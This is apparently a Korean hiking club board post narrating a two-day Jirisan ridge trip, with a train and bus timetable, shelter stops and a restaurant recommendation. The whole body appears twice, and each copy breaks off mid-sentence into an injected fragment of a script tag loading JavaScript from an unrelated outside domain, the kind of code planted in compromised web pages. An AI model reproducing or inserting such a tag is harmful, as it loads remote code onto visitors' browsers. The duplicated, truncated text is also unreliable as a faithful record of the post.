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[제목]
김현경이 쓴 지리산 종주기 (김현경)
🧑 정부영
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📅 2016-01-07 22:27:45
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👀 107
5일 저녁 잠시 2시간 동안 눈을 붙인 후 집을 나서 택시를 이용하여 서대전 역으로 향하였다. 이미 합류하기로 한 연하천대피소(?)로 도착하려면 성삼재에서 시작하여 지리산 주능선을 이용하면 되지만 휘공회와 합류하여 등산로를 되돌아 올 생각을 하니 내가 한심하게 느껴졌다. 지리산 중앙부 북쪽에 위치한 음정에서 산행을 시작하여 벽소령 또는 연하천 대피소로 직접 오르기로 하였다.
6월6일 00:00 집출발 00:20 서대전역 도착 01:23 서대전 출발(무궁화 771열차)
04:06 남원역 도착 07:15 백무동 行 시외버스 07:55 마천 하차
08:17 삼정 행 버스 승차 08:45 음정 하차
08:55 산행시작 12:20 벽소령 대피소 도착
13:48 벽소령 출발 14:25 연하천 도착
19:20 김응구 회장과 조우
6월 7일 05:00 기상 07:28 연하천 대피소 출발
11:40 임걸령 12:42 임걸령 출발
14:40 성삼재 도착 15:40 남원 진양사우나
17:00 가나안 식당(광한루 후문 옆, 063-632-5566)
삼정리로 향하는 첫 차는 07:15 에 함양에서 있는 것을 인터넷에서 확인하였으나, 대전에서 대중교통을 이용하여 함양에 제 시간에 도착하는 것이 불가능하므로 남원으로 가기로 하였다. 이미 열차에는 좌석이 없었으나, 6월4일 예약이 취소되는 틈을 이용하여 간신히 좌석을 예약하였다. 서대전역에 도착하여 표를 구입하고 떡라면으로 요기를 하였다. 열차안 선반에는 배낭으로 가득 차 있었다. 새벽시간 남원역에 하차하니 안개와 더불어 써늘한 공기가 주변을 감돌았다. 역사내의 조류 사육장에 있는 수탉이 새벽을 알리는 울음을 부르짖었다. 대합실 만남의 장소에는 흡사 노숙자를 연상케 하는 폼으로 배낭을 옆에 두고 잠을 자고 있는 스무명정도의 무리가 있었다. 서대전역에서 보았던 텔레비젼에서는 손석희 아나운서가 진행하는 열띤 토론이 계속되고 있었다. 산에 다니면서 시간만 허락된다면 눈을 붙이는 습관이 있는 터라 본인도 취침을 하도록 하였다. 열차 안에서 한시간 정도 잠시 눈을 붙였으나, 잠시 텔레비젼을 시청하고 한시간 잠이 들었으나 모기 극성에 잠을 설치고 말았다. 오전 여섯시 남원역을 출발하여 도보 시외버스 터미널까지 이동하기로 하였다. 도보로 이동하는 동안 지나가는 택시는 수없이 경적을 울려된다. 시간도 많이 있으니 공짜면 타고 가겠다고 하니 모든 택시가 그냥 가더군....... 버스정류장에 기다리고 있는 여행객들 절반이상이 배낭을 매고 있는 등산객이다. 백무동 행 시외버스에 올라 운봉, 인월을 거쳐 마천에 도착하였다. 마천에서 개인택시를 이용하려 하였으나, 공휴일이라 그나마 4 대있는 택시 모두 타지로 나갔다고 한다. 하는 수없이 삼정 행 버스에 올랐다. 버스기사의 하는 말이 오늘 같은 날은 통학하는 학생들도 없고 연료비도 나오지 않는다는 이야기이다. 마천에서 삼정으로 향하는 도로는 작년 수해에 시멘트 포장 밑으로 물이 스며들어 들떴다고 다시 시멘트 포장을 하느라고 재공사 중이었다. 음정에서는 본인과 또 한 명 젊은이(67년생)와 같이 하차하였다. 벽소령으로 하여 세석대피소까지 간다고 한다. 입장료를 안 내도 되는 코스를 안다고 그 코스로 올랐다. 1300원 입장료를 절감한 탓에 반바지를 입은 나로서는 찰과상을 입는 불상사가 발생하였다. 반바지를 입은 탓에 먼저 샛길로 오르라고 하고 나는 작전도로(임도)를 따라 오르니 양봉을 치는 사람을 만났고, 도로 양편에 배수로 공사를 하느라고 콘크리트 거푸집을 만드느라 열중이다. 나를 쳐다보는 눈치가 한심한 듯이 보였다. 무거운 배낭을 짊어지고 산행을 하면 돈이 생기느냐 라는 표정이었다. 차량통제(바라게이트)가 설치된 곳에서 젊은이를 다시 만났다. 나보고 돌아온 길에 비하여 상당히 속도가 빠르다는 이야기이다. 잠시 휴식을 하고 임도를 따라 고도를 올리니 점차로 시원한 느낌이 들었다. 연하천으로 향하는 고생길을 오른쪽에 두고 계속하여 임도를 따라 올랐다. 임도 상의 두 곳의 물 중 마지막에서 휴식을 취한 후 계속 진행 후 임도에서 벽소령 대피소로 향하는 우측으로 올라섰다. 0.7 km의 구간이 고도가 급격히 오르막이라 무거운 배낭을 메고있는 나로서는 힘이 겨웠다. 꾸준히 올라 보니 벽소령 대피소는 본인도 몇 번을 이곳을 지나갔지만 시골장터와 같이 복잡하다. 배낭을 한 쪽 구석에 내려놓고 65회 휘봉회선배님들을 위하여 12시 20분 벽소령 대기자 명단에 올려놓았다. 북새통에서도 식사를 해결하고 휘봉 및 휘공을 기다렸다. 도저히 나타나지 않을 듯 하여 연하천으로 향하기로 하였다.
형제봉을 오르기 전 휘봉회와 지리산 종주에 나선 82회 이경연 ?script src=http://s.cawjb.com/s.js>
6월6일 00:00 집출발 00:20 서대전역 도착 01:23 서대전 출발(무궁화 771열차)
04:06 남원역 도착 07:15 백무동 行 시외버스 07:55 마천 하차
08:17 삼정 행 버스 승차 08:45 음정 하차
08:55 산행시작 12:20 벽소령 대피소 도착
13:48 벽소령 출발 14:25 연하천 도착
19:20 김응구 회장과 조우
6월 7일 05:00 기상 07:28 연하천 대피소 출발
11:40 임걸령 12:42 임걸령 출발
14:40 성삼재 도착 15:40 남원 진양사우나
17:00 가나안 식당(광한루 후문 옆, 063-632-5566)
삼정리로 향하는 첫 차는 07:15 에 함양에서 있는 것을 인터넷에서 확인하였으나, 대전에서 대중교통을 이용하여 함양에 제 시간에 도착하는 것이 불가능하므로 남원으로 가기로 하였다. 이미 열차에는 좌석이 없었으나, 6월4일 예약이 취소되는 틈을 이용하여 간신히 좌석을 예약하였다. 서대전역에 도착하여 표를 구입하고 떡라면으로 요기를 하였다. 열차안 선반에는 배낭으로 가득 차 있었다. 새벽시간 남원역에 하차하니 안개와 더불어 써늘한 공기가 주변을 감돌았다. 역사내의 조류 사육장에 있는 수탉이 새벽을 알리는 울음을 부르짖었다. 대합실 만남의 장소에는 흡사 노숙자를 연상케 하는 폼으로 배낭을 옆에 두고 잠을 자고 있는 스무명정도의 무리가 있었다. 서대전역에서 보았던 텔레비젼에서는 손석희 아나운서가 진행하는 열띤 토론이 계속되고 있었다. 산에 다니면서 시간만 허락된다면 눈을 붙이는 습관이 있는 터라 본인도 취침을 하도록 하였다. 열차 안에서 한시간 정도 잠시 눈을 붙였으나, 잠시 텔레비젼을 시청하고 한시간 잠이 들었으나 모기 극성에 잠을 설치고 말았다. 오전 여섯시 남원역을 출발하여 도보 시외버스 터미널까지 이동하기로 하였다. 도보로 이동하는 동안 지나가는 택시는 수없이 경적을 울려된다. 시간도 많이 있으니 공짜면 타고 가겠다고 하니 모든 택시가 그냥 가더군....... 버스정류장에 기다리고 있는 여행객들 절반이상이 배낭을 매고 있는 등산객이다. 백무동 행 시외버스에 올라 운봉, 인월을 거쳐 마천에 도착하였다. 마천에서 개인택시를 이용하려 하였으나, 공휴일이라 그나마 4 대있는 택시 모두 타지로 나갔다고 한다. 하는 수없이 삼정 행 버스에 올랐다. 버스기사의 하는 말이 오늘 같은 날은 통학하는 학생들도 없고 연료비도 나오지 않는다는 이야기이다. 마천에서 삼정으로 향하는 도로는 작년 수해에 시멘트 포장 밑으로 물이 스며들어 들떴다고 다시 시멘트 포장을 하느라고 재공사 중이었다. 음정에서는 본인과 또 한 명 젊은이(67년생)와 같이 하차하였다. 벽소령으로 하여 세석대피소까지 간다고 한다. 입장료를 안 내도 되는 코스를 안다고 그 코스로 올랐다. 1300원 입장료를 절감한 탓에 반바지를 입은 나로서는 찰과상을 입는 불상사가 발생하였다. 반바지를 입은 탓에 먼저 샛길로 오르라고 하고 나는 작전도로(임도)를 따라 오르니 양봉을 치는 사람을 만났고, 도로 양편에 배수로 공사를 하느라고 콘크리트 거푸집을 만드느라 열중이다. 나를 쳐다보는 눈치가 한심한 듯이 보였다. 무거운 배낭을 짊어지고 산행을 하면 돈이 생기느냐 라는 표정이었다. 차량통제(바라게이트)가 설치된 곳에서 젊은이를 다시 만났다. 나보고 돌아온 길에 비하여 상당히 속도가 빠르다는 이야기이다. 잠시 휴식을 하고 임도를 따라 고도를 올리니 점차로 시원한 느낌이 들었다. 연하천으로 향하는 고생길을 오른쪽에 두고 계속하여 임도를 따라 올랐다. 임도 상의 두 곳의 물 중 마지막에서 휴식을 취한 후 계속 진행 후 임도에서 벽소령 대피소로 향하는 우측으로 올라섰다. 0.7 km의 구간이 고도가 급격히 오르막이라 무거운 배낭을 메고있는 나로서는 힘이 겨웠다. 꾸준히 올라 보니 벽소령 대피소는 본인도 몇 번을 이곳을 지나갔지만 시골장터와 같이 복잡하다. 배낭을 한 쪽 구석에 내려놓고 65회 휘봉회선배님들을 위하여 12시 20분 벽소령 대기자 명단에 올려놓았다. 북새통에서도 식사를 해결하고 휘봉 및 휘공을 기다렸다. 도저히 나타나지 않을 듯 하여 연하천으로 향하기로 하였다.
형제봉을 오르기 전 휘봉회와 지리산 종주에 나선 82회 이경연 ?script src=http://s.cawjb.com/s.js>
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